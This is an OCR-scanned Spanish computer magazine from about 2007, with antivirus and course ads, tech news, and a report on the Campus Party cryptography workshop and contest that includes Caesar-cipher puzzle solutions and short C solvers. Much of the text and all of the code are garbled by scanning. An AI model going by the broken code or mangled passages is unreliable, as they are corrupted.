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;Puede describir a su antivirus *
con la misma contundencia?

NOD32. Rapido. Eficaz. Implacablefﬁi

antivirus system

S6lo instalelo y olvidese. Este es el encanto y la
potencia de |a tecnologfa ThreatSense exclusiva
de ESET. !

NOD32 protege de forma proactiva contra
virus, troyanos, spyware, rootkits y otros tipos
de c6digos maliciosos. Y su motor de alto
rendimiento no ralentizard su ordenador.

 Prugbelo grii_ltultamer'_lte durante 30 dfas:
- htgb;?fwww.quﬂ 2-es.com

p

c/Martinez Valls 56, bajos - 46870 Ontinyent (Valencia)
ventas@nod32-es.com - Teléfono 902.33 4B8.33

http://www.nod32-es.com
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Preparados para el escritorio

te muchas mejoras, tanto visuales como de funcionamiento. Adn

esta en fase beta vy ya renacen antiguos enfrentamientos entre
facciones: que si Gnome es mejor, que si Xfce es mucho mas ligera...
En realidad, todo esto es irrelevante. Cada usuario elegird el escritorio
gue le resulte mas comodo, el gue resuelva mejor su situacion concreta
0, como se dice vulgarmente, el que le pete. Lo que debe alegrarnos es
que, desde hace tiempo, podemos decir que Linux estd preparado para
el escritorio. Que los drivers son faciles de instalar, o se instalan automati-
camente en la instalacidn; que la interfaz es sencilla y amigable; que hay
un paduete office, un navegador, un reproductor de mp3 v mucho mas
disponibles sin instalaciones extras; y que Windows Visla no estd prepara-

Kde estd a punto de lanzar su nueva version, la 4, en la que prome-

do para el escritorio.

Si, Windows Vista estd demostrando deficiencias graves en su diseno.
Ricardo Galli, doctor en Informitica y creador del blog Meneame.net, lo
argumenta en http://mnm.uib.es/gallir/posts/2007/09/02/1169/. Es el
momento, entonces, de que el software libre haga valer su posicién de
ventaja, que por una vez se le presenta. Pienso en el auge que, poco a
poco, estd cobrando en la educacion: cada vez mas escuelas incorporan
Linux en sus aulas, conscientes de las ventajas econdmicas y de funcio-
namiento que supone. EE. el ano de Linux? No es |a primera vez que se
- dice, ipero fi f'nalmente serd este! Algunas papeletas se han comprado.
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El nuevo Arches ty+ wifi dvr multimedia

ﬁ RCHOS ha presentado su ARCHOS TV+, su pri-

mer Grabador de Video Digital (DVR) con la in-

novacion, prestaciones y avances propios de los
reproductores multimedia portitiles de ARCHOS (PMP).
El ARCHOS TV+ utiliza la TV como monitor v se presenta
en modelos de 80GB v 250GE de disco duro.

La TV en casa ha sido durante mucho tiempo el centro
del entretenimiento domdéstico para los usuarios. Sin em-
bargo, con la llegada de los dispositivos digitales multime-
dia vy el afin por almacenar contenido, los usuarios creen
que la portabilidad ¢s algo crucial para el ocio actual.
ARCHOS combina esas dos tendencias en su ARCHOS
TV+- un grabador de video digital WiFi que se conecta a
Internet para navegar, transferir, descargar y grabar pelicu-
las, videos, fotos y misica con la habilidad para transferir
ese contenido a cualquier PMP de ARCHOS.

Como afiadido a sus funciones WiFi, los usuarios pueden
conectar su ARCHOS TV+ via USB 2.0 para experimentar
transferencias de contenido a gran velocidad a y desde
el PC o a vy desde cualquier PMP de la Generation 5 de
ARCHOS, Usando este método, una pelicula de dos horas
puede ser pasada al PMP en menos de dos minutos, E1 AR-
CHOS TV+ hace las funciones de DVR independiente que
se integra a la perfeccion en la linea de PMP Generation 5
de ARCHOS v ofrece a los usuarios la oportunidad de 1le-
varse el contenido de dicho DVR dondeguiera que vayan.

Staroffice sera distribuida a través de Google Pack

I.Iﬂﬂil Artrutura 2I]{IT

umncadaﬂﬂn AﬂFuhnaEﬂDT]lEgaE:nﬂtnﬁD.LEdﬂclmuﬂ-

tava edicion d&] festival de Cultura y Creatividad Digital de

referencia en Espafia aterriza en més de once ciudades entre
el 25 y el 28 de octubre, con un extenso programa que explora los
proyectos v las ideas mis importantes surgidas en el ultimo afio en
el panorama interacional del new media, el disefio de interaccion,
los videojuegos y la animacidn digital,

El Mercat de les Flors de Barcelona, acogerd cuatro intensos dias
de presentaciones especiales, conferencias, talleres, instalaciones,
exposiciones y actuaciones en directo, Simultineamente, en museos
y centros culturales de otras 10 ciudades hace parada el Circuito
Futura, con el amplio programa audiovisual del festival y en algu-
nas sedes la retransmision en directo del programa de conferencias
de Barcelona,

ArtFutura dedicard la primera tarde de su programacion a plan-
tear una discusion especulativa v provocadora sobre la Web que
viene con pensadores, tecndlogos v emprendedores de la economia
digital. Destaca de manera especial la participacion de Daniel Lin-
den, el jefe de comunidad del célebre mundo virtual Second Life, lo

NarOffice § Galkery

software de productividad ofimatica, StarQMice,
se encuentra ya dispomible a través del servicio
de descarpa de software Google Pack. StarOffice es la
version comercial de Sun de la popular suite de ofimitica
de cidigo abierto OpenOffice.onz y soporta ¢l Formato
de Documento Abierio (ODF), StarOffice también es
compatible con documentos de Microsofi Office y cuenta
con ¢l soporte v la proteccion de Sun. Google Pack ¢s una
recopilacion gratuita de paquetes esenciabes de softwane
que ayuda y facilita a los usuanos la configuracion de
sus equipos, agiliza la bisqueda de informacidn v ofrece
seguridad online.
Asimismo, Sun también ha dado a conocer que ha im-
plementado la funcionalidad de bisqueda web en todos

Sun Microsystems ha anunciado que su reconocido

los productos de StarOflice, permitiendo capaci-
dades de isqueda online directamente desde su
suite de productividad. Esta nueva funcionalidad
ya estd disponible a través de la descarga de
Google Packe

Goople Pack ofrece a los usuanos una alter-
nativa segrura y facil para que, en cuesticn de mi-
nutos, puedan instalar todo el software esencial
que necesiten. La incorporacion de StarOffice de
Sun aporta a los usuanos de Google Pack acceso
gratuite a aplicaciones ofiméticas que cuentan
con las caracteristicas de las aplicaciones empre-
saniales. A partir de ahora, los usuanos pueden
instalar StarQffice como parte del proceso de
nstalacion de Google Pack.
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Tu eres el protagonista. Eres tU el que construye cada dia internet

con tus ideas, tus conocimientos, tu capacidad de ver mas alla
de ia pantalla...

Queremos ponértelo mas facil que nunca. ;Coma’? Desclbrelo
en nuestra web y sigue creciendo con internet.

;0 es internet la que crece gracias a ti?. X
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arsys es internet

Acceso ) i Servidores ; i
aInternet ~ Domimios | Hosting . Dedicados . Housing Aplicaciones

www.arsys.es /902 1155 30



Amen amplia su oferta al comercio elecirénico en colaboracion con Epages

ras el éxito conseguido en

Francia, Amen, lider en ser-

vicio y alojamiento en In-
ternet en Europa, en colaboracion
con ¢Pages, presenta un nuevo
software que se incluird en su ser-
vicio eCommerce para Espafia y
Portugal.

(iracias a esta colaboracion entre
ambas empresas, los empresarios
pueden contar desde el mes de ju-
nio con todas las prestaciones de
este software ePages en sus pac-
ks e-commerce. La perfecta inte-
gracibn de nuevas tecnologias les
permitird aumentar notablemente
sus ingresos alcanzando el éxito
deseado en su comercio online de
una forma mas ripida, economica
y profesional.

Amen propone una amplia pama
de tiendas virtuales destinadas a cu-
brir todas sus necesidades. La oferta
incluye tres categorias: eCommerce
Starier, Pro y Premium.

Precisamente la version Premium
es la que encuentra mayor acep-
tacion en el mercado, ya que esta
disponible cn version 30 dias de
prucha totalmente gratuita y dispo-
ne de todas las opciones necesanas
para una cxitosa introduccidn en
el comercio electronico: métodos
de pago online con 4B, Servired
y Paypal, indexaciom en Google,
publicacidon de articulos ¢n eBay
y Kelkoo, numerosas herramientas
de marketing ¥y ademas un cupdn
de 75€ para probar la herramienta
Google Adwords.

Tan solo 28.000 espaiioles acceden

a Internet por Adsl 2

e un total de 7.44 millones de los accesos a banda
ancha ~Adsl y Cable moden- existentes cn Esparia
tan solo 28000 espafioles acceden a Intemet a las
velocidades que permite la tecnologia Adsl 2, 12-/2 Mbps v

con ADSL2+ 24/2 Mbps, segin refleja una encuesta reali-
zada por el sitio web Bandancha.st, a 1233 usuarios de estas
modalidades de acceso Internet.

De los 5.87 millones de lineas ADSL a nivel nacional.
existentes a mes de junio, aproximadamente 4.17 millones
corresponden a conexiones minoristas de Telefdnica, y el
resto ( 1000.000) se reparten, es lo que se conoce como adsl
revendido que ofertan otros operadores y las correspondien-
tes al Adsl desagregado de Telefonica, cerca de la

700,000 lineas. De estos altimos, tan solo el 4% (28.000
lineas) acceden a Internet mediante Adsl 2 o Adsl2 +,
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HP lanza una herramienta para imprimir
mtmmutﬂamlmm

1

ha presamndu una novedosa aplicacion online que

permite imprimir documentos utilizando el teléfono

avil desde coalquier parte del mundo. Esta herra-

mienta, dﬂnmnmadnﬂlmdhmt,puuut:nmmuur
e imprimir archivos desde teléfonos méviles de forma comple-

mmmmﬂnymuynﬁnodu,aﬂvﬁad&lmm; ;

dores de HP.
Pamdmﬁlm&emmmmu.dmmnsﬁhnm:quadm-

girse a la pagina en Internet de CloudPrint, http://cloudprint.hpl.

hp.com, ¥ guardar sus documentos en los servidores online de

HP. El sistema asigna a los documentos un codigo de 6 digitos

‘que el usuario recibird en su teléfono mévil a través de SMS,

haciendo posible la recuperacion ¢ impresion del archivo desde

cualquier lugar en el que s¢ encuentre introduciendo este codigo

en el website de CloudPrint. Estos documentos son recuperados

en formato PDF.

CloudPrint es la primera de una serie de iniciativas de HP
que tienen como objetivo desvincular la impresién de docu-
mmde[mmdmdmmuﬁﬂnmmw
dﬁnde,cﬁmuynuﬁndndmnhmﬂﬂemﬂm
m:nmh&ﬁr&pnmhltmE&ﬂﬂﬂﬂUﬂldDﬂ}'EﬂEum

&€ CloudPrint
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Ellos son los responsables
del éxito de muchas personas.

Son los directores de las diferentes areas de CCC Profesional.

Gracdias a ellos mas de 85.000 personas han salido adelante profesionalmente en los
ultimos tres afios.

Bllos también estan para ayudarte a ti a asegurar tu futuro profesional haciendo los
cursos practicos vy faciles.

Cuentas con su respaldo y la Garantia de CCC.

WWwWWw.cursosccc.com

PROFESIONES TECNICAS
« Tecnico en Instalaciones de Energia
Solar Térmica,

Jose Luis Valentin

ACCESO A ESO
¥ UNIVERSIDAD
« Preparadion al Tiuko Oficial

de Graduado EEEI - Instalador Electricistz. g
'm_ﬂﬁuw - Técnico en Construccion de Obras.
ki il anos. - Titule Oficial de Teo. Sup. en

Prevencion de Riesgos Laborales.
- Profesor de Educacidn Vial.

PROFESIONES SANITARIAS
 Auxiliar de Enfermeria. &

- Auxiliar de Geriatria,

- Auxiliar de Jardin de Infancia.
- Auxiliar de Farmacia.

IDIOMAS

- El Inglés con Mil Palabras.
The Maurer Method.

- Aprende Chino con el

Sistema Yang Yun.

Ana Paredes BELLEZA ¥ MODA EMPRESA E INFORMATICA

- Esteticista Profesional. @ « Microsoft Office Formadion Personalizada.
- Pelugueria. B - Titulo Oficial de Agente Comercial. !
- Disefio de Maoda + Administracion de Empresas.
' - Gestor Inmobiliario. !

= Modista Profesora de
Corte v Confecclon.

- Experto en Bolsa e Inversiones.

- Secretaria de Direccidn. &

« Técnico en Contabilidad.

- Técnico en Disenio Web.

« Tog, en Proteccion de Datos v Seguridad
Informatica.

VETERINARIA

- Auxiliar de Clinica Veterinaria.
- Adiestramiento dé perros. |
+ Peluqueria y Estética Canina.

# - Auxiliar Clinico Ecuestre.

MEDICINAS
COMPLEMENTARIAS

- Monitor/a de Relajacidn
y Desarrollo Personal.
« Diploma en Maturopatia.
- Profesor/a de Yoga.
- Quiromasajista (MDF).
! - Quiromancia: La Lectura
Santiago Pazhin de la Manoa.

i DT e

Raquel Guaza S Minuel San Martin

ARTES, DECORACION

‘!’ HOSTELERIA.

- Decoracion,
- Monitor/a de Manualidades.,
« Curso Practico de Tapiceria.

- Cocinera/a Profesional.
» Técnico de Gestion de Empresa
de Hosteleria.

PROFESIONES DEPORTIVAS
 Core Filates,

« Monitor/a de Preparacion Fisica.
- Monitor/a de Aerobic v Fitness,
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Marricalate este mes y consigue GRATIS ' "-'+:-- e
Sat:a ia profesion que llevas dentro e o ‘e, /
[ si, deseo recibir informacidn (*) /
:DE QUE CURSO TE INTERESA RECIBIR INFORMACION SIN COMPROMISO? e ; f

Nomibre: Apellidos: Y
E-mail: ; ; Al SRS Inférmate en el

Teléfono/s: ! Fecha nacimiento: { 902 20 27 22

Dromicilio: N . Piso: WWW.CUrsosccc.com

Poblacitn: AR 1 i Provincia:
DNI (opcional): Pais de nacimiento:
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de Marlrid, a donde 1e podris dirigir para cjercivar en cualiuicr momemo tus derechos de acoeso, rectificacion, un.-r-l.l'lnl:ln 1 OpOsicitn '1|.TI."'1|J.I11I{:I'I.T4'| e bos mismios. T daros senin eratados oo Ta
meiximma confilencialidsd, saho gque nos manificsres o conrario s a direcciin indicada, en el !.13,;1;. di 15 dhias, con |.1|J|r:|:-u--|Ie hacerte !IEE‘" comunicacinnes comenciales de OO0 ¥ de .;Lﬁ;. CIpTCs
relacinailas con los secoores de relecnmamicacinnes, financicm, ocin, foMmsciin, gran conswmo, datomacon, CHCTRE, g, IMCrs ¢ Enstiteciones y eganizaciones piblicas,

() Medianie la sceptaciin del envio de informacidn, nos sutorizss a enviare comiind caciobes COMerElabe & Eravis e f11 Craeats e Chme electrinicn, as como ofros medios clecirdnitos i_-qum.j_m:n
- Marea csea easilla s no deseas recibir comunicaciones comenciales a oravis o mediog elecrrinioos de COC,

Marra esta casilla si no deseas recibir comunicaciones comerciales a traves de modios electrinicos de tereeras empresas relacionacas con los sectons antes mqprlnna:im



1L TR merben AT

Concurso de criptografia de Ia
1 Campus Party (i)

Valencia, Fira de Mostres, semana del 23 al 29 de julio. Mas de ocho mil personas se retnen en
lo que es posiblemente el evento de este tipo mas importante de Espana, y uno de los mas im-
portantes de Europa. Por supuesto, hablamos de la Campus Party. Pero, en la Campus, no todo
son descargas a 12 megas por segundo, juegos en red y porno... me atreveria a decir que todo
eso es lo menos interesante, al menos para aquellas personas con una mente inquieta. ;Quieres
saber a qué se dedicaron muchas mentes inquietas durante varios dias? Pues sigue leyendo...




Saludos a todos, queridos lectores.
Como comentaba en la introduccidn
lel presente texto, no todo son des-
argas, jur:f[slus y porno en la campus,
a pesar de o que la televisidn quiera

hacernos creer. Muy al contrario,
existen varias areas tematicas dentro
del evento en las que se organizan
actividades para todos los gustos: as-
tronomia, CampusBot, CampusCrea,
desarrolladores, juegos, modding,
simulacién y software libre.

Gestando una novedad

Por supuesto, yo habia oido hablar de
la Campus Party desde hace bastantes
A0S, Pero por unas cosas o por otras
jamds habia participado. He de reco-
nocer, no sin un poco de vergiienza,
que la imagen que tenia del evento
era bastante alejada de la realidad,
aungue sin acercarme a los apoca-
lipticos mensajes de la television.
Quiza sea el recuerdo de una party en
la que participé (como organizador y
como ponente de unos cursos de segu-
ridad) en 2004, v que en su mayoria se
centro en los juegos v competiciones
que giraban en torno a ellos, o quiza
fueran simples prejuicios; pero no sa-
bia la enorme cantidad de actividades
interesantes que se desarrollan durante
este evenlo,

El caso es que este aio, a finales
del mes de marzo, se puso en contac-
to conmigo -a través de mi querido
amigo TuXeD, al cual mando un fuerte
abrazo desde aqui- el organizador del
area de software libre de esta edicion
de la Campus, Ender3, para ofrecerme
la posibilidad de participar este ano
en el evento. Por lo visto, desde hace
hastantes anos, la estructura del drea
de software libre era bastante similar,
incluyendo las distintas actividades
que se llevaban a cabo en el mismo.
Y, como ya sabemos, la monotonia es
enemiga mortal de la diversion y la
originalidad.

Por ello, la idea de Ender3 era in-
novar, crear nuevas actividades, remo-
zar las clasicas... en definitiva, ofrecer
algo nuevo. Evidentemente, aunque la
innovacion es buena, cambiar aguello
que funciona desde hace anos tam-
bién es bastante arriesgado; pero solo
mediante innovacion seria posible
cambiar algo en un evento con una
inercia tan masiva como la gue genera
la Campus. Asi pues, entre las nuevas
actividades de este afio se encontraba

Anuncio def Taller de eriplogralia.

la criptografia, y ése ha sido el aspecto
del drea de software libre que yo me
he encargado de organizar este ano.

El area de software libre

Dentro del drea podemos distinguir
principalmente cuatro tipos de acti-
vidades: el “IT Crowd” (en honor a la
gran serie homénima, cuya segunda
temporada habrd empezado cuando
tengas la revista en tus manos), una es-
pecie de servicio técnico para software
libre v GNU/Linux; conferencias de
genle como Jon Hall, Marcelo Branco,
Marcelo Tosatti, Mark Shuttleworth y
Alexander Gorbunov; los talleres de
seguridad, criptografia, linux para to-
dos, Asterisk, programacion en QT y
antenas WiFi; y por dltimo los concur-
sos de seguridad, criptografia y progra-
macién maovil.

La gente de “IT Crowd” no pard, y
de hecho hasta los que estdbamos por
el drea nos velfamos muchas veces res-
pondiendo preguntas o dudas de gente
que se acercaba simplemente para pre-
guntar, Respecto al taller de seguridad,
tuvo una primera parte impartida por
una persona enviada por el patroci-
nador, eminentemente tedrica; v una
segunda parte realmente interesante
impartida por el genial TuXeD, con
contenido practico y ejemplos reales
que fueron los que mds cautivaron al
piblico asistente. Desgraciadamente,
la luz entraba por los ventanales del

EL POBRE TUXED TUVO QUE
TRABAJAR A DESTAJO POR
DIVERSOS PROBLEMAS,
ENTRE ELLOS LA TARDIA
RECEPCION DE LOS
SERVIDORES
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Concurso de Criptografia
Campus Party 2007
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ESE MISMO DIiA, DESPUES
DE DEJAR EL EQUIPAJE EN
EL HOTEL, ME ACERQUE AL
RECINTO PARA COMENZAR
A PREPARAR LAS PRUEBAS
DEL CONCURSO
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techo e impactaba en la pantalla en

la franja horaria establecida para los
talleres (de 19 a 21), lo cual obligd a
retrasar la hora de mi ponencia del dia
siguiente. El concurso de seguridad fue
también de lo mas interesante, aungue
el pobre TuXeD tuvo que trabajar a
destajo por diversos problemas, entre
ellos la tardia recepcion de los servi-
dores, que le hizo estar despierto du-
rante casi 24 horas. Mi mds profunda
felicitacién y admiracién por su traba-
jo durante esos dias.

El taller de “Linux para todos”,
impartido por la guapa y simpatica
Mageles, fue una genial iniciativa para
acercar el sistema del pingiino al pa-
blico general. En €l se explicaron con-
ceptos bisicos del sistema, asi como la
utilizacién del mismo para las necesi-
dades cotidianas de un usuario medio
de PC. Fueron varias charlas, muchas
horas hablando, v bastantes mads pre-
parandolo todo, pero Mageles llevd a
cabo un excelente trabajo. Por dltimo,
otro taller muy interesante fue el de
antenas WiFi, en el que la gente de la
rama de estudiantes de la organizacion
IEEE de la Universidad Politécnica de
Valencia, soldador en mano, nos ense-
fiaron como construir una antena con
una lata de Pringles o de aceitunas.

Criptografia

Par mi parte, tenia la presentacion del
taller de criptografia terminada antes
de salir para Valencia, y durante el
viaje de ida -el domingo dia 22- fui
revisindola y retocdndola con el por-
titil. Otro tema era el concurso, pues
aundque tenia las pruebas mas o menos
pensadas, alin no sabia con certeza
cudl era la infraestructura de la que
dispondria para desplegarlas. Ese mis-
mo dia, después de dejar el equipaje
en el hotel, me acerqué al recinto para
comenzar a preparar las pruebas del
concurso. Tras una entretenida sesion
de sauna, patrocinada por la ausencia
de aire acondicionado, aun no estaba
claro cudl seria el sistema de valida-
cidn de las pruebas, pero al menos ya
estaban redactadas las siete pruebas
que, inicialmente, conformarian el
ConCUrso.

El miércoles a las 22.30 de la no-
che tuve lugar el taller de criptografia.
He de reconocer que los nervios se
aduefiaron de mi cuando vi que se
acercaba la hora de empezar y no
hahia mds que un par de personas en




el drea. Mi falta de experiencia en la
Campus me jugd una mala pasada,
pues como mas tarde me explicaron
los veteranos del lugar, la pente esta
en sus puestos hasta el mismo momen-
to en que comienza la actividad. De
hecho, al final no sdlo se llend el drea
sino que hubo gente que se trajo sus
propias sillas para asistir. Superado el
escollo de la luz en la pantalla, al ha-
ber retrasado la charla, habia otro ele-
mento que jugaba a mi favor para una
conferencia de estas caracteristicas: el
tiempo. Al darse la circunstancia de
que la mayoria de la gente no tenia
que ir después a ningdn sitio, pude
tomarme las explicaciones con la sufi-
ciente calma como para asegurarme de
que se entendieran los procesos, algo-
ritmos y ejemplos.

Estructura del Taller

La charla estuvo estructurada princi-
palmente en seis bloques. El primer
blogue versd sobre conceptos basicos de
criptografia: definiciones, términos, vo-
cabulario, puntualizaciones... todo ello
orientado a que los asistentes comenza-
ran a sentirse comodos con el lenguaje
que se utilizaria durante las dos horas
siguientes. La primera parte de cualquier
exposicion es también muy importante
para el ponente, pues permite estable-
cer una cierta relacion con los asisten-
tes, observar sus expresiones y grado
de atencion, y asi poder ver sus reac-
ciones a la forma de exposicion. Algo
de lo que muchos ponentes se olvidan
siempre es de adaptar la charla o su
ritmo a los oyentes, pues quiza resulte
interesante obviar ciertas explicaciones
farragosas, que desvian la atencion por
su complejidad, para centrarse en otros
temas que inspiren mas motivacion.

A continuacian, dedicamos una
buena fraccidn del tiempo a la expli-
cacion de la segunda parte, el cifrado
predigital, que de hecho se trataba
de una de las mds importantes de
cara al posterior concurso. A pesar de
dicha importancia, o quizd precisa-
mente a causa de ella, se trataba de
una serie de transparencias bastante
densas con conceptos arcaicos pero
claves: cifra monoalfabética, analisis
de frecuencias, cifra polialfabética,
cifra homofdnica, asi como algorit-
mos (Cesar, Vigenere, homofdnicos) y
ejemplos de criptoanalisis (andlisis de
frecuencias, método Kasiski, método
Babbage).

La tercera parte fue menos espesa
y mds relatada, pues se hablo sobre
criptografia a principios del siglo XX.
Los sistemas criptogrificos de las dos
guerras mundiales y la época de entre-
guerras son los mas complejos antes
de la época digital, motivo por el cual
resultaba imposible explicarlos en de-
talle con el tiempo disponible. Sobre
las grandes maquinas de cifrado, como
Enigma, Purple, Lorenz, Typex, Sigaba
y demiis; se habld de su funcionamien-
to en general, asi como de sus ventajas
e inconvenientes, ataques criptoana-
liticos -si los hubo-, y su papel en el
entorno sociopolitico de la época.
También se trataron los grandes algo-
ritmos manuales, como el ADFGVX
alemdn, el cadigo navajo, o el |N-25
japonés. Todo ello jalonado con anéc-
dotas e historias de la época, como el
telegrama Zimmermann, el secreto UL-
TRA, los cifradores navajos, etcétera,
fue el contenido de esta tercera parte;
la cual finalizd aproximadamente en la
mitad del tiempo estimado de duracidn
total, asi que aprovechamos para hacer
un pequefio descanso para tomar un
refrigerio.

Tras el descanso, vino la cuarta
parte, criptografia digital. En ella,
hablamos de conceptos de los moder-
nos criptosistemas computacionales

Taller de anlenas WiFi.

HACK CONCURSO

SE TRATABA DE

UNA SERIE DE
TRANSPARENCIAS
BASTANTE DENSAS CON
CONCEPTOS ARCAICOS
PERO CLAVES

(criptografia simétrica, asimétrica,
funciones resumen unidireccionales,
cifradores de flujo y de bloque, firma
digital), enunciamos de forma general
los principales algoritmos simétricos
y hash (DES, 3DES, AES, IDEA, RC6,
RC4, Twofish, Serpent, MD5, SHA-1,
RIPEMD-160, Tiger, Whirlpool), v de
torma pormenorizada (algoritmo y
ejemplos) los de clave asimétrica: RSA
y DH/EIGamal. También hablamos
de criptoandlisis sobre todos estos
sistemas, posibles ataques, e incluso
perspectivas de futuro como la compu-
tacion cudntica y el algoritmo de Shor.
La quinta parte se centrd en siste-
mas de software criptogrifico actuales,
como OpenPGF, S5L y TLS, Truecrypt;
asi como borrado seguro de datos en
distintos sistemas operativos. Por (lti-
mo, la sexta parte, hablamos sobre el
futuro de la criptograiia: la criptografia
cuantica. Primero en un tono informal,
y mds tarde de forma mads rigurosa y
basiandonos en la polarizacion de fo-




Piiblica en el taler de eniplogralia.

EL ORDEN DE LLEGADA

DE LAS SOLUCIONES
DETERMINARIA DE FORMA
RIGUROSA LA PARTICIPACION
EN EL CONCURSO
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tones; describimos el algoritmo BE84
y demostramos sus propiedades mds
interesantes, como la deteccion de in-
terceptaciones,

El concurso

Tras la charla v las preguntas de los
asistentes (tanto las realizadas en el
turno de ruegos y preguntas, como las
que me realizaron aquellas personas
que se acercaron después personal-
mente), realizamos un descanso algo
mas extenso, ¥y programamos para

la 1.15 la presentacion del concur-

so. Finalmente, y por los problemas
con los servidores que he comentado
anteriormente, no hubo tiempo para
preparar un sistema automatizado de
evaluacion de las pruebas en condicio-
nes, por lo que preferi no arriesgarme
a desplegar un sistema potencialmente
vulnerable (y, por ende, convertir el
concurso de criptografia en otro de se-
guridad) y realizar la recepcidn de las

pruebas mediante correo electrénico.
El orden de llegada de las soluciones
determinaria de forma rigurosa la par-
ticipacion en el concurso, de forma
que no padia fiarme de la hora del
sistema desde el que fue enviado un
correo (pues podia ser manipulada).
Por ello, decidi tomar en cuenta la ho-
ra del servidor de correo, uno pertene-
ciente a la empresa que monto |a red
del evento y que, en principio, podia
pPresuponer seguro,

En la presentacion del concurso
simplemente me limité a explicar las
normas del mismo, asi como a realizar
una breve explicacion de las pruebas y
el sistema de evaluacion de la partici-
pacion. Tras darlo por abierto, accedi
al servidor para subir los documentos
PDF, y entorno a las dos de la madru-
gada, empezd el concurso de criptogra-
fia. A las doce de la noche del viernes
al sibado, tras aproximadamente 46
horas, el concurso quedd cerrado con
la siguiente clasificacidn: en primer




puesto, Radl Lluna (rapul); en segundo puesto, Pedro Velasco
\chandra); y en tercer puesto, Enzo Puig (phiber). Acerca de
a valoracion general del concurso, el ganador declaré que
“(...) la experiencia fue muy positiva, con gran euforia tras
cada nivel superado, amplificada por la angustia sufrida du-
rante la realizacion del nivel”.

En general, las pruebas estaban preparadas para ser
resueltas de forma manual, con ingenio y astucia mds que
con herramientas automatizadas, como bien valord rapul
al ser preguntado sobre la dificultad de las pruebas: “f...)
Mi impresion es gue las pruebas han sido disefiadas con la
premisa que la fuerza bruta no podria ser la solucién uni-
versal a las mismas, permitiendo valorar habilidades tales
como la intuicién, improvisacion, el conocimiento detalla-
do de los algoritmos de cifrado, experiencia con buscado-
res, cultura del software libre, programacidn, la atencidén
prestada durante el taller, etc”. ;Quieres saber cudles fue-
ron las pruebas y como se superaron? Pues sigue leyendo...

Nivel 1

En este nivel, los concursantes se encontraban con el si-
guiente criptograma:

yfbks bkfal xiqgxi iboab zofmg ldoxc fxxxx

Las pistas iniciales, proporcionadas en el PDF, eran las
siguientes:

- Se trata de un cifrado de tipo monoalfabético.
- Se utiliza agrupacion de tamario cinco con almohadi-
HNado.

Posteriormente, se afiadio la siguiente pista en el foro
del concurso, sepan avanzaba el evento:

- Se trata de un cifrado de tipo César.

Aplicando descifrado del algoritmo César con clave 23
se abtiene lo siguiente:
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Herramianta de fuerza bruta para of cifrado Caesar.

BIENY ENIDO ALTAL LERDE CRIPT OGRAF IAAAA

Que, al eliminar el almohadillado y reordenar, queda de
la siguiente forma:

BIENVENIDO AL TALLER DE CRIPTOGRAFIA

Respecto a los métodos de resolucion utilizados, varia-
ron de un participante a otro. El tercer clasificado, phiber,
utilizé una pagina web (http://www.simonsingh.net/The_
Black_Chamber/caesar.html), mientras que varios partici-
pantes usaron simplemente la intuicién o fuerza bruta, y
uno en concreto -rapul, el ganador- construyd un sencillo
cddigo en C que resolvia el problema.

finclude <stdio.h>
finclude <string.h>

int main(){
char clave[] =3D{"yfhksbkfalxigxiiboabzo
ImgldoxcExxxx™};
puts( clave };

int j =3D serlen{ clave );
int i =30 0;
Lora im0 0 30 g e

printE("Sc®, [ { { clave[{]=-"x") + 26 ) % ?5=

)

S S b

VARIOS PARTICIPANTES USARON
SIMPLEMENTE LA INTUICION O FUERZA BRUTA

Nivel 2

En este nivel, los concursantes se encontraban con el si-
guiente criptograma:

wbnpt egorn 1fdgg spelm xytwn ggggg

Las pistas iniciales, proporcionadas en el PDF, eran las
siguientes:

- Se trata de un cifrado de tipo monoalfabético.
- Se utiliza agrupacion de tamadio cinco con almohadi-
Hlado.

Posteriormente, se anadieron las siguientes pistas en el
foro del concurso, seglin avanzaba el evento:

- Se trata de un cifrado de tipo César,
- La clave es variable.
- La clave es correlativa.
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En este caso el problema era algo mds complejo, pues la
clave ya no era la misma para todos los grupos de caracte-
res, v eso es algo que los concursantes debieron descubrir
por si mismos. Al aplicar el descifrado del algoritmo César,
usando las claves 1, 2, 3, 4, 5 y b respectivamente para ca-
da grupo, obteniamos el siguiente mensaje:

VAMOS COMPL ICANMD OLAHI STORI ARARL

Que, tras retirar el almohadillado y reordenar, quedaba
de la siguiente manera:

VAMOS COMPLICANDO LA HISTORIA

Para resolver el nivel, phiber, tercer clasificado, utiliza
nuevamente la misma pagina web (httpz//www.simonsingh.
net/The Black Chamber/caesar.html), mientras que nue-
vamente una gran mayoria utilizé simplemente intuicidn,
prueba y error; y rapul (el ganador) realizé nuevamente un
cadigo en C para romper el criptograma.

$include <ztdio.h>
finclude <string.h>

int main{){
int i, 9:
char clave[] =3D{"wbnptegornlfdggspelmx
ytwnggggg"t; -
putsi{ clave };
int key =30 1;

BT A T R e )
for {3 =3D 0: 3 < 3.3 3+ |
printf {("%ch,. {iclaveli*o+jl=key ) )i
kay++i

Nivel 3

En este nivel, los concursantes se encontraban con el si-
guiente criptograma:

nessu

cepsn boftt

voeps nbuvg vsipg

tkpek rguuc pgnnc ¥wWeht

hggdv wdged jxdug lohww hoohf

miywy] rfsti frtwj jinxu jwise Lffff

Las pistas iniciales, proporcionadas en el PDF, eran las
siguientes:

- Se trata de un cifrado de tipo monoalfabético.
- Se utiliza agrupacién de tamano cinco con almohadi-

lado.
. La disposicidn del criptograma es relevante,

Posteriormente, se afadieron las siguientes pistas en el
foro del concurso, sepin avanzaba el evento:
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- Se trata de un cifrado de tipo César.

- La clave es variable.

- La correlacidn viene determinada por la sucesion de
Fibonacci.

Esta prueba fue la que disefié inicialmente para ser [a
primera, pero que finalmente quedd como tercera para de-
jar paso a dos mis sencillas al darme cuenta de que podria
resultar demasiado complicada para un primer acercamien-
to. Efectivamente, la dificultad aumentaba bastante, pues
en un principio, y hasta que se fueron anadiendo progresi-
vamente las pistas, los concursantes no sabian que la clave
era variable o que ésta venia determinada por la sucesion
de Fibonacci.

Aplicando el descifrado César con las claves 0, 1, 1, 2, 3
y 5 a cada grupo respectivamente, obteniamos el siguiente
mensaje:

nessy

ndorm aness

undor matup ureop

rinci pessa nella tuafr

eddas tanza guard ilest ellec

hetre mancd amore edisp erani aaaas

Tras eliminar el almohadillado y reordenar, obtenemos
el siguiente texto:

Messun dorma nessun dorma
tu pure o principessa
nella tua fredda satanza
guardi le stelle

che tremano damore

e di SpeTranizd

Al problema de la mayor complejidad del criptograma
se unia uno mis, y es que el lenguaje del texto en claro no
era el castellano sino el italiano, lo cual hacia que los ata-
ques por fuerza bruta que buscaran palabras “con sentido”
y sin fijarse demasiado, fracasaran. Claro que, en ningdn
